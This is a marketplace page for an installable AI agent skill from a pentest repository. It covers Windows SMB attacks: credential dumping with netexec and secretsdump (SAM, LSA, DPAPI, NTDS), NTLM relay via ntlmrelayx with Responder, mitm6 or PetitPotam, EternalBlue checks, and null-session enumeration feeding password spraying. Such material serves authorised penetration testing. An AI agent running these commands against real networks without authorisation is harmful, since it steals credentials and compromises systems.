s0ld13rr/pentestcode/smb
Claude Code and agent skill by s0ld13rr/pentestcode
- community
Checking that the SKILL.md file is still in the repository.
SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.
Install
npx vskill@latest install s0ld13rr/pentestcode/smbSKILL.md
SMB — Gotchas & Attack Chains
DPAPI dump trap
netexec smb HOST -u USER -p PASS --dpapi bare = FULL dump (browser passwords, vault, cookies, Credential Manager). Adding subcommands (cookies, nosystem, wifi) LIMITS output. Always bare --dpapi first.
Credential dump order (with local admin)
Run ALL, in order — each gets different secrets:
--sam— local hashes--lsa— service passwords, cached domain creds--dpapi— user secrets (browser, vault, Credential Manager)--ntds— DC only, all domain hashes
Fallback: secretsdump.py DOMAIN/USER:PASS@HOST
SMB relay (signing disabled)
Check: netexec smb TARGET → if "signing: False" → relay is possible. Generate target list: netexec smb SUBNET --gen-relay-list relay.txt Relay: impacket-ntlmrelayx -tf relay.txt -smb2support Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.
EternalBlue (MS17-010)
Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: nmap --script smb-vuln-ms17-010 -p 445 TARGET.
Null session → spray chain
enum4linux-ng -A TARGET, rpcclient -U '' -N TARGET -c 'enumdomusers'. If null session works → user list → AS-REP roast / password spray.
Security
- Security scanPassed, 96 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/services/smb/SKILL.md
Popularity
- Repository stars
- 852
- Repository forks
- 137
- 7-day trend score
- 0
Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/s0ld13rr/pentestcode/smb)